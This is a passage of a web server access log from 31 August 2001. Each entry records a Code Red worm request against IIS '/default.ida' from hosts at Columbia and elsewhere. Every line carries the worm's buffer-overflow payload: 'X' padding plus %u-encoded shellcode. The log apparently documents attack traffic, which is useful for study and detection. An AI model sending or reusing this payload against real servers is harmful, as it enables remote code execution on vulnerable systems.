  1041. 20010831 06:49:35:  [211.61.251.241] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0"
  1042. 20010831 06:49:53:  [211.61.251.241] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0"
  1043. 20010831 06:53:52: wsgrhl721.law.columbia.edu [128.59.176.190] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  1044. 20010831 06:54:12: bus205-176.gsb.columbia.edu [128.59.205.176] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  1045. 20010831 07:00:58:  [128.59.192.250] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  1046. 20010831 07:09:01: dynamic-51-234.dyn.columbia.edu [128.59.51.234] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  1047. 20010831 07:22:44: dynamic-54-87.dyn.columbia.edu [128.59.54.87] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  1048. 20010831 07:31:44: wsgrhl721.law.columbia.edu [128.59.176.190] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  1049. 20010831 07:36:42: wsgrhl721.law.columbia.edu [128.59.176.190] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  1050. 20010831 07:42:20: bus205-176.gsb.columbia.edu [128.59.205.176] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  1051. 20010831 07:49:21: wsgrhl721.law.columbia.edu [128.59.176.190] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  1052. 20010831 07:52:33: bus205-176.gsb.columbia.edu [128.59.205.176] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  1053. 20010831 07:52:52: wsgrhl721.law.columbia.edu [128.59.176.190] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  1054. 20010831 07:58:49:  [128.59.192.250] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  1055. 20010831 08:00:07: wsgrhl721.law.columbia.edu [128.59.176.190] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  1056. 20010831 08:09:11: dynamic-51-234.dyn.columbia.edu [128.59.51.234] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  1057. 20010831 08:22:10: dynamic-235-131.dyn.columbia.edu [128.59.235.131] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  1058. 20010831 08:22:18: bus205-176.gsb.columbia.edu [128.59.205.176] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  1059. 20010831 08:23:47: dl-tnt1-C8B12641.jfa.terra.com.br [200.177.38.65] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  1060. 20010831 08:37:46: dynamic-51-234.dyn.columbia.edu [128.59.51.234] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  1061. 20010831 08:40:32: Mix-Avignon-201-1-122.abo.wanadoo.fr [193.248.51.122] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  1062. 20010831 08:52:43: dynamic-54-87.dyn.columbia.edu [128.59.54.87] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  1063. 20010831 08:55:06: wsgrhl721.law.columbia.edu [128.59.176.190] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  1064. 20010831 09:05:20: bus205-176.gsb.columbia.edu [128.59.205.176] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  1065. 20010831 09:06:55: wsgrhl721.law.columbia.edu [128.59.176.190] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  1066. 20010831 09:06:55: dynamic-51-234.dyn.columbia.edu [128.59.51.234] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  1067. 20010831 09:28:54: bus205-176.gsb.columbia.edu [128.59.205.176] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  1068. 20010831 09:31:46: bus205-176.gsb.columbia.edu [128.59.205.176] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  1069. 20010831 10:14:53: dynamic-54-87.dyn.columbia.edu [128.59.54.87] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  1070. 20010831 10:25:34: wsgrhl721.law.columbia.edu [128.59.176.190] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  1071. 20010831 11:03:26: wsgrhl721.law.columbia.edu [128.59.176.190] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  1072. 20010831 11:06:38: wsgrhl721.law.columbia.edu [128.59.176.190] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  1073. 20010831 11:19:21: cgec.cob.vt.edu [128.173.175.117] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  1074. 20010831 11:47:17: dynamic-54-87.dyn.columbia.edu [128.59.54.87] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  1075. 20010831 12:02:03: wsgrhl721.law.columbia.edu [128.59.176.190] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  1076. 20010831 12:04:05: wsgrhl721.law.columbia.edu [128.59.176.190] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  1077. 20010831 12:04:38:  [128.59.192.250] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  1078. 20010831 14:45:39: bme2000s.bme.columbia.edu [128.59.56.124] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
